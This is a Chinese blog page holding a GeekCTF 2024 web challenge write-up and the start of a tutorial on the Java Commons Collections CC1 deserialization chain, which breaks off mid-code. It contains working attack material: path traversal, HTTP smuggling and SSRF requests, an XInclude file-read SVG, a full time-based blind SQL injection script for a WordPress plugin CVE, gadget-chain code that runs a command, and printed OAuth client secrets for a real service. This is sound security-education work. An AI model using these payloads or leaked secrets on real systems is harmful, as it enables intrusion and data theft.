GeekCTF 2024 Web WriteUp(全)

经历了无数次爆零的比赛之后,终于做出来了几道题(哭 题目本身并没有想象的特别难,不过质量和创新点做的非常好。 最终rank:59 Secrets 一道关于字符串匹配的问题 打开网站,查看源码,看到了一串base85加密的数据,解个密看下,工作目录都给了 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 . ├── app.py ├── assets │ ├── css │ │ ├── pico.amber.min.css │ │ ├── pico.azure.min.css │ │ ├── pico.blue.min.css │ │ ├── pico.cyan.min.css │ │ ├── pico.fuchsia.min.css │ │ ├── pico.green.min.css │ │ ├── pico.grey.min.css │ │ ├── pico.indigo.min.css │ │ ├── pico.jade.min.css │ │ ├── pico.lime.min.css │ │ ├── pico.orange.min.css │ │ ├── pico.pink.min.css │ │ ├── pico.pumpkin.min.css │ │ ├── pico.purple.min.css │ │ ├── pico.red.min.css │ │ ├── pico.sand.min.css │ │ ├── pico.slate.min.css │ │ ├── pico.violet.min.css │ │ ├── pico.yellow.min.css │ │ └── pico.zinc.min.css │ └── js │ ├── color-picker.js │ ├── home.js │ ├── jquery-3.7.1.min.js │ └── login.js ├── gunicorn_conf.py ├── populate.py ├── requirements.txt └── templates ├── base.html ├── index.html └── login.html 右上角有个更改颜色的按钮,随便选个抓个包看看,发现Cookie多了个asset字段,内容为assets/css/pico.green.min.css,正好与上面看到的文件路径保持一致,尝试读app.py发现需要assets/css/开头,../绕过下:asset=assets/css/../../app.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 import os from flask import ( Flask, jsonify, redirect, render_template, request, send_from_directory, session, )from flask_sqlalchemy import SQLAlchemy from sqlalchemy import text app = Flask( __name__, static_folder="assets/js", template_folder="templates", static_url_path="" ) app.config["SQLALCHEMY_DATABASE_URI"] = "mysql+pymysql://ctf:114514@db/secrets" app.secret_key = os.environ.get("SECRET_KEY", os.urandom(128).hex()) app.url_map.strict_slashes = False db = SQLAlchemy(app) class Notes(db.Model): table_name = "notes" id = db.Column(db.Integer, primary_key=True) title = db.Column(db.String(80), nullable=False) message = db.Column(db.Text, nullable=False) type = db.Column(db.String(80), nullable=False, default="notes") def __repr__(self): return f"<Note {self.message}>" @app.route("/") def index(): if not session.get("logged_in"): return redirect("/login") with db.engine.connect() as con: character_set_database = con.execute( text("SELECT @@character_set_database") ).fetchone() collation_database = con.execute(text("SELECT @@collation_database")).fetchone() assert character_set_database[0] == "utf8mb4" assert collation_database[0] == "utf8mb4_unicode_ci" type = request.args.get("type", "notes").strip() if ("secrets" in type.lower() or "SECRETS" in type.upper()) and session.get( "role" ) != "admin": return render_template( "index.html", notes=[], error="You are not admin. Only admin can view secre<u>ts</u>.", ) q = db.session.query(Notes) q = q.filter(Notes.type == type) notes = q.all() return render_template("index.html", notes=notes) @app.route("/login", methods=["GET", "POST"]) def login(): if session.get("logged_in"): return redirect("/") def isEqual(a, b): return a.lower() != b.lower() and a.upper() == b.upper() if request.method == "GET": return render_template("login.html") username = request.form.get("username", "") password = request.form.get("password", "") if isEqual(username, "alice") and isEqual(password, "start2024"): session["logged_in"] = True session["role"] = "user" return redirect("/") elif username == "admin" and password == os.urandom(128).hex(): session["logged_in"] = True session["role"] = "admin" return redirect("/") else: return render_template("login.html", error="Invalid username or password.") @app.route("/logout") def logout(): session.pop("logged_in", None) session.pop("role", None) return redirect("/") @app.route("/redirectCustomAsset") def redirectCustomAsset(): asset = request.cookies.get("asset", "assets/css/pico.azure.min.css") if not asset.startswith("assets/css/"): return "Hacker!", 400 return send_from_directory("", asset) @app.route("/setCustomColor") def setCustomColor(): color = request.args.get("color", "azure") if color not in [ "amber", "azure", "blue", "cyan", "fuchsia", "green", "grey", "indigo", "jade", "lime", "orange", "pink", "pumpkin", "purple", "red", "sand", "slate", "violet", "yellow", "zinc", ]: return jsonify({"error": "Invalid color."}), 400 asset = f"assets/css/pico.{color}.min.css" return ( jsonify({"success": asset}), 200, {"Set-Cookie": f"asset={asset}; SameSite=Strict"}, ) if __name__ == "__main__": app.run() populate.py中写了flag在数据库secrets中 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import os from app import Notes, app, db with app.app_context(): db.create_all() if not Notes.query.filter_by(type="notes").first(): db.session.add(Notes(title="Hello, world!", message="This is an example note.")) db.session.add( Notes( title="Where's flag?", message="Flag is waiting for you inside secrets.", ) ) if not Notes.query.filter_by(type="secrets").first(): db.session.add( Notes( title="Secret flag", message=os.environ.get("FLAG", "fake{flag}"), type="secrets", ) ) db.session.commit() 首先需要登录,有一个匹配a.lower() != b.lower() and a.upper() == b.upper() 想到了nodejs特性:Character.toUpperCase()函数,字 符ı会转变为I,字符ſ会变为S。 看了下发现py也可以,直接alıce和ſtart2024登录 接下来(“secrets” in type.lower() or “SECRETS” in type.upper())要保证既大写不相等且小写不等 最开始以为是要弄 一个upper变 一个lower变 的两个字符,fuzz了一下发现没有这种 后来网上找了一下看到数据库utf8mb4_unicode_ci匹配中会把一些奇怪的符号匹配为正常的符号 é可以代替e payload: ?type=ſecrétſ 拿到flag:flag{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1} Next GPT 是GitHub上的一个比较知名的GPT平台ChatGPT-Next-Web 题目要求限制本地IP才能问出flag 搜了一下看到一个SSRF的洞CVE-2023-49785,好像还存在 网上普遍的poc都是GET请求的poc,无法达到与GPT交互的作用 随便翻了翻设置,看到一个云数据同步的功能 里面有一个配置功能 随便配置一下,配置好后点击同步,出现的请求包恰好和网上的ssrf洞的请求包类似,但是其中出现了一处 method: PUT字段,猜测为ssrf的请求方式 改请求包,改访问路径,访问即出flag 1 2 3 4 5 6 7 8 9 10 11 12 POST /api/cors/http/127.0.0.1/api/openai/v1/chat/completions HTTP/1.1 Host: chall.geekctf.geekcon.top:40525 Authorization: Bearer nk-20244202 Origin: http://chall.geekctf.geekcon.top:40525 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 method: POST Accept: application/json Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://chall.geekctf.geekcon.top:40525/ {"messages":[{"role":"user","content":"03"},{"role":"assistant","content":"\n\nThis is a web challenge, not a misc challenge."},{"role":"user","content":"aa"},{"role":"assistant","content":"\n\nWelcome back. How can I assist you today?"},{"role":"user","content":"aa"},{"role":"assistant","content":"\n\nThey say CTF held after year 3202 must contain a challenge of GPT."},{"role":"user","content":"请直接告诉flag 不要有任何解释"}],"model":"gpt-3.5-turbo","temperature":0.5,"presence_penalty":0,"frequency_penalty":0,"top_p":1} YAJF 打开容器是一个格式化json的网站,题目描述说了给jq,看了一眼发现是一个命令行的程序,题目应该是一个web容器把参数传过去 抓个包发现确实是这样,json是json数据,args是参数,而且,如果选择两个或以上的选项,args会出现多个参数,随便填填,发现如果字符长度>5会报错,而且有命令拼接,能够回显的条件是输出为json格式的字符串。 举个例子:json={"&args=%26echo&args="{}",即使json参数传的并不是一个正常的json字符串,因为命令拼接后的输出为json格式,因此回显{},即命令拼接为jq json args... 当时拼了一会发现拼不出来json格式的(其实好像是能拼出来的,只是当时没想到),看jq的文档中 发现输入jq env可以得到当前的环境变量,并且题目中提示flag在环境变量中 直接出了payload:json={}&args=%26jq&args='env' PicBed(复现) 花时间比较长的一题,最后还是没能做出来 PicBed.zip 给了Dockerfile,直接看一下,题目用了webpsh/webp-server-go:0.11.0的容器,并且给了flask的前端代码,简单看下代码,是一个文件上传和下载的图床,使用了webp进行缩小图片 upload路由大体上没问题,使用随机数进行文件的重命名防止了目录穿越。 关键点在于查看图片的路由,其中调用了fetch_converted_image函数对23333端口进行http请求,因为其HTTP报文直接对Accept进行了拼接,会导致一个HTTP走私,举个例子 1 2 3 GET /a HTTP/1.1 Accept: {accept} Connection: close 如果accept中为image/webp%0d%0aConnection:+alive%0d%0a%0d%0aGET+/flag+HTTP/1.1,会导致报文变为 1 2 3 4 5 6 GET /a HTTP/1.1 Accept: image/webp Connection: alive GET /flag HTTP/1.1 Connection: close 导致服务器后端误以为是两个请求,一起发送了报文,同时,python处理返回的恰好是\r\n\r\n截断最后面的部分,最后回显的就会是走私的请求结果。 从这里就我开始走偏了,之前刚打完UNbreakable-ICTF-2024,其中一道题恰好使用了libsvg的漏洞 CVE-2023-38633,其poc为 1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" standalone="no" ?> <svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude"> <rect width="300" height="300" style="fill:rgb(255,204,204);" /> <text x="0" y="100"> <xi:include href=".?../../../../../../../etc/passwd" parse="text" encoding="ASCII" > <xi:fallback>file not found</xi:fallback> </xi:include> </text> </svg> 来对etc/passwd进行一个读取,而这题给的flag是flag.png,当时以为是要对图片进行一个包含,于是在docker上左调右调花了好多时间(关键是xml写不对那边还会有一个拒绝服务,导致每次都要重启容器) 回到正题,此题是一个CVE-2021-46104的变种,相关Issue上有讨论,是一个go的目录穿越漏洞,其漏洞最早期可以直接使用../即可打通,后面加了一些处理,已经没法打通了。但这道题中,如果HTTP报文省略了开头的/,即GET ../../flag.png,还是会导致一个目录穿越。这个的根源应该在于golangpath.Clean的第四条:如果HTTP报文中带/时,这个路径就相当于一个根目录,而根目录后的..会被自动清除。而如果不带/,path.Clean会认为这个是相对路径。同时,gofiber的path.go也完全匹配了/*,无论它是否为/开头。 所以拿到flag步骤是这样,先提交随便一个图片,拿到随机的值,然后发包进行走私 1 2 3 4 GET /pics/2f41abe471e46c3b.jpg HTTP/1.1 Host: 127.0.0.1:23333 Accept: image/webp%0d%0aConnection:+alive%0d%0a%0d%0aGET+../../flag.png+HTTP/1.1 Connection: close Oauth(复现) 最困惑的题目 打开站点,是一个普通的界面,其中OAuth Login会跳转到sjtu的认证页面,view note和note都会提示未登录,跳转到login,再跳转到oauth html中存在sitemap.xml,里面可以找到一个code.php 访问它发现需要code参数,随便填一个有以下界面,此处log是粗体的,结合sitemap.xml,可以推断出还有一个/log路由 访问log路由,是一个管理员code的泄露,在sjtu jAccount网站可以看到是一个授权码,有效期为1分钟,认证模式为使用授权码-authorization-code-过程的-oidc-认证模式 带着code访问code.php,登录成功,提示flag为SSO name 想要找到SSO name,必须要有access_token,想要access_token,必须要有client_id、client_secret,以及我们上面刚刚得到的code 接下来思路没了,开始复现wp 原来是一个key的泄露,泄露在SJTUer/django/sjtuers/settings.py at master · young1881/SJTUer (github.com)处 拿到JACCOUNT_CLIENT_ID = 'ZjpxY3dA6fpkp7o4kM0g',JACCOUNT_CLIENT_SECRET = 'CE1FEABAD368510B161F8F0E582CBA6864EAF4137FC18079' 尝试获取access_token,可惜赛后已经无法复现了,大概报文如下,获取access_token 1 2 3 4 5 POST /oauth2/token HTTP/1.1 Host: jaccount.sjtu.edu.cn Content-Type: application/x-www-form-urlencoded grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA&redirect_uri=http%3A%2F%2F{hostname}%2Fcode.php&client_id=ZjpxY3dA6fpkp7o4kM0g&client_secret=CE1FEABAD368510B161F8F0E582CBA6864EAF4137FC18079 返回结果直接jwt解密即可,或继续拿access_token对https://api.sjtu.edu.cn/v1/me/profile?access_token=进行请求 官网wp还提到了一个非预期,即使用任意泄露client_id和client_secret组合串,都可以获取到access_token,很神奇。 SafeBlog1(复现) wp-scan扫一下,有一个NotificationX插件,插件存在CVE-2024-1698,一个sql盲注 需要搜索/抓包确认api的路径,不能直接用网上的payload。 因为对wordpress不熟悉,痛失一道题 直接给出官网payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requests import string delay = 5 url = "http://chall.geekctf.geekcon.top:40523/index.php?rest_route=%2Fnotificationx%2Fv1%2Fanalytics" ans = "" table_name = "" #fl6g column_name = "" #nam3 session = requests.Session() for idx in range(1,1000): low = 32 high = 128 mid = (low+high)//2 while low < high: payload1 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{idx},1))<{mid},SLEEP({delay}),null)-- -" payload2 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x{bytes(table_name,'UTF-8').hex()})),{idx},1))<{mid},SLEEP({delay}),null)-- -" payload3 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat({column_name}))from({table_name})),{idx},1))<{mid},SLEEP({delay}),null)-- -" resp = session.post(url=url, data = { "nx_id": 1337, "type": payload1 # switch payload }) if resp.elapsed.total_seconds() > delay: high = mid else: low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127: break ans += chr(mid-1) print(ans) flag:flag{W0rdpr355_plu61n5_4r3_vuln3r4bl3} 遇到题一定要有耐心看下去 SafeBlog2(复现) 花时间最长的一道题,但还是没有做出来 SafeBlog2.zip 首先因为NODE_NDEBUG=1可以直接忽视require('assert-plus') 接下来是/comment/like出有一个把所有参数都注入到查询语句的查询,这里有一个注入点 1 2 3 4 5 6 正常情况 ?post_id=1 db.all(`SELECT * FROM comments WHERE post_id = ?`, ["1"]); ?post_id=1&inject=1 db.all(`SELECT * FROM comments WHERE post_id = ? AND inject = ?`, ["1", "1"]); ?post_id=1&%271%27+%3D+%271%27+OR+%271%27=1 即post_id=1& '1' = '1' OR '1' = 1 db.all(`SELECT * FROM comments WHERE post_id = ? AND '1' = '1' OR '1' = ?`, ["1", "1"]); 注入方式: 1 SELECT * FROM comments WHERE (SELECT password from admins) LIKE content AND '1' = ? 先写一堆形如____________a____...、_____b__________...的评论,然后执行上述语句,查看哪个like增加 给出最后的payload: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import requests import threading import re url = "http://c4b2vk76v4jj6gy2.instance.chall.geekctf.geekcon.top:18080" hexchars = "0123456789abcdef" def new_comment(char): for p in range(32): requests.get(url + "/comment/new", params={ "post_id": '1', "name": "a", "content": "_" * p + char + "_" * (31-p) }, allow_redirects=False) thread=[] for c in hexchars: t = threading.Thread(target=new_comment, args=(c,)) thread.append(t) t.start() for t in thread: t.join() print("评论添加完成!") times = 0 def find_flag(): global times times += 1 requests.get(url + "/comment/like/", params={ "post_id": '1', "'1' = '1' AND (SELECT password from admins) LIKE content AND '1'": "1" }, allow_redirects=False) res = requests.get(url + "/post/1").text ans = [ p.partition("</li>")[0][90:][:32] for p in res.split("<li>") if "{} Likes".format(times) in p ] sorted(ans) passwd = "" for i in range(32): for j in range(32): if ans[i][j] != "_": passwd += ans[i][j] break print("密码为:",passwd) res = requests.get(url + "/admin", params={ "username": "admin", "password": passwd }) return res while True: print(times) res = find_flag() if "flag" in res.text: print("flag:", re.findall("flag{.*?}", res.text)[0]) break flag: flag{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5} md回头一看也不是特别难啊,主要是当时看了一眼就直接拿主机调nodejs了,没搭docker导致comment处无法注入,不过话说我拿win机cmd直接输入npm start为啥注入不了呢,好奇怪,下次一定记得搭docker(血的教训) ECommerce(复现) 没怎么看的一道题 打开网站是一个登录界面,登录抓个包看看,发现Graphql请求 1 2 3 4 5 6 7 8 9 mutation MyMutation { tokenCreate(email: "admin", password: "123456") { errors { code message } token } } 根据渗透测试之graphQL_graphql 漏洞,通过IntrospectionQuery 可以查询到其中的全部信息 1 {"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null} 使用graphiql/examples/graphiql-cdn/index.html at main · graphql/graphiql打开,有了docs和api 对其中shop字段name进行请求,得到Saleor e-commerce GitHub直接能搜到Saleor Commerce,这里引用官方wp的一张图来描述其架构 下载前端saleor/storefront,将.env处填入后端地址,npm run dev直接跑起来 随便找找发现about 根据hint1在之前的IntrospectionQuery 返回包可以找到flag1:Channel-specific tax configuration.\n\nAdded in Saleor 3.9.🎉 Congratulations! You find flag part 1: ZmxhZ3s5ckBQSH 🎉 根据hint2,在之前的graphql中搜product,其中seoDescription有flag2:🎉 Congratulations! You find flag part 2: ExX0BQIV8zWH🎉 1 2 3 4 5 6 query MyQuery { product(channel: "default-channel", slug: "the-dash-cushion") { seoTitle seoDescription } } 接下来是网站存在源代码泄露,原网站src/pages/index.tsx中存在邮箱david@deepshop.co,配合弱口令123456可以直接登录(神奇的思路,看官方wp原来是作者自己加的) 继续本地部署saleor/saleor-dashboard,仍然以david登录,在 customer 里抓包有hint3和hint4(可能是版本的问题,从这里开始我复现得都非常艰难) 根据hint3,在Order中找到订单,抓包发现isgift字段不存在,去掉isgift重新发包,拿到flag3:🎉 Congratulations! You find flag part 3: AwNWU1X0VcL🎉 根据hint4,在 Translations - Chinese - Menu Items - GraphQL API 中找到flag4:🎉 Congratulations! You find flag part 4: zNyWStoSU45fQ==🎉 base64解码,出来flag:flag{9r@PHq1_@P!_3Xp05e5_E\/3rY+hIN9} 总算复现出来了,光是复现就花了我好长时间,一道很新颖的渗透题

2024/4/15
articleCard.readMore

Java反序列化CC链

前言 经典的Java反序列化漏洞 漏洞主要集中于Apache Commons Collections组件,其内部封装了许多方法用来方便开发人员使用。 org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类 org.apache.commons.collections.bag – 实现Bag接口的一组类 org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类 org.apache.commons.collections.buffer – 实现Buffer接口的一组类 org.apache.commons.collections.collection –实现java.util.Collection接口的一组类 org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类 org.apache.commons.collections.functors –Commons Collections自定义的一组功能类 org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类 org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类 org.apache.commons.collections.list – 实现java.util.List接口的一组类 org.apache.commons.collections.map – 实现Map系列接口的一组类 org.apache.commons.collections.set – 实现Set系列接口的一组类 环境搭建主要使用了jdk8u65,Commons Collections<=3.2.1,Commons Collections4.0 CC链分析 CC1 漏洞影响:Commons Collections<=3.2.1 jdk<8u71 首先需要关注的是Transformer接口,其逻辑如下,主要是用来接收一个对象将其进行转化 1 2 3 public interface Transformer { public Object transform(Object input); } 其接口具有几个关键的实现类 首先是ConstantTransformer类,其transform函数是接收任意对象,返回一个常量,关键代码如下 1 2 3 4 5 6 7 8 9 10 public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } } InvokerTransformer类,transform方法通过反射实现对接收对象任意方法任意参数的调用,也是CC1链中最后执行命令的位置,关键代码如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (...Exception ex) { throw ...; } } } ChainedTransformer类,其内部有一个存储Transformer类的数组,对接收的对象以此调用数组中的transform,关键代码如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } } 在了解了以上后,我们可以轻松的写出初步的命令执行 1 2 3 Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}); invokerTransformer.transform(r); 接下来需要去寻找完整调用链,即寻找调用transform函数的其他类 TransformedMap链 我们注意到TransformedMap类,其checkSetValue函数中调用了transform方法,TransformedMap类的关键代码如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } protected Object checkSetValue(Object value) { return valueTransformer.transform(value); } } 接下来要寻找哪个类的方法调用了checkSetValue函数,经过查找后只有一处,为AbstractInputCheckedMapDecorator类的内部类MapEntry的setValue方法,MapEntry类作用是遍历整个Map,其每次会存储一个键值对,setValue方法其实是重写了AbstractMapEntryDecorator类的setValue 1 2 3 4 5 6 7 8 9 10 11 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } } 此时,可以写出更进一步的命令执行方式 1 2 3 4 5 6 7 8 Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); for(Map.Entry entry: transformedMap.entrySet()){ entry.setValue(r); } 最后,需要去寻找一个可以通过readObject方法调用到setValue函数的类 注意到AnnotationInvocationHandler类的readObject方法有和上面命令执行类似的代码,其主要代码如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw ...; this.type = type; this.memberValues = memberValues; } private void readObject(java.io.ObjectInputStream s) throws ... { s.defaultReadObject(); AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { throw ...; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)) ); } } } } } 目前,看起来似乎已经找到了一个完整的调用链,但其实还存在几个问题 首先是Runtime未继承序列化接口,无法序列化,对此的解决方案是通过对Runtime.class进行反射来执行代码,因此部分代码可以修改为 1 2 3 4 5 6 7 Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 接着是绕过AnnotationInvocationHandler.readObject方法的几个if判断,需要将传进去的注解内容与key相同。 最后是setValue的参数无法控制的问题,上面已经给出了方式,就是通过ConstantTransformer类来返回固定的对象。 于是,我们可以写出完整的CC1 TransformedMap链代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public class CC1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Retention.class, transformedMap); serialize(o); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } } LazyMap链 上面我们分析了TransformedMap链的内容,除了TransformedMap类调用了transform方法,LazyMap类也调用了transform方法。其关键代码如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class LazyMap extends AbstractMapDecorator implements Map, Serializable { protected final Transformer factory; public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; } public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } } 注意到上文提及的AnnotationInvocationHandler类中invoke方法调用了get函数,其方法主要内容如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); if (paramTypes.length != 0) throw new AssertionError("Too many parameters for an annotation method"); switch(member) { case "toString": return toStringImpl(); case "hashCode": return hashCodeImpl(); case "annotationType": return type; } Object result = memberValues.get(member); if (result == null) throw new IncompleteAnnotationException(type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0) result = cloneArray(result); return result; } 接下来需要绕过一些if判断,方法名不能为toString、hashCode、annotationType,且参数个数必须为0。至此,我们可以写出利用链初步的框架 1 2 3 4 5 6 7 8 9 10 11 12 13 Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap); handler.invoke(null,Class.forName("java.lang.Object").getMethod("wait"),null);//触发点 invoke方法可以在动态代理内部触发,在对动态代理调用任意方法时,都会通过invoke方法来对接收的对象进行反射调用,而巧合的是AnnotationInvocationHandler类中readObject方法有一处memberValues.entrySet()正好符合可以绕过if判断的需求,因此可以得到完整的CC1 LazyMap调用链。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public class CC1 { public static void main(String[] args) throws Throwable { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new 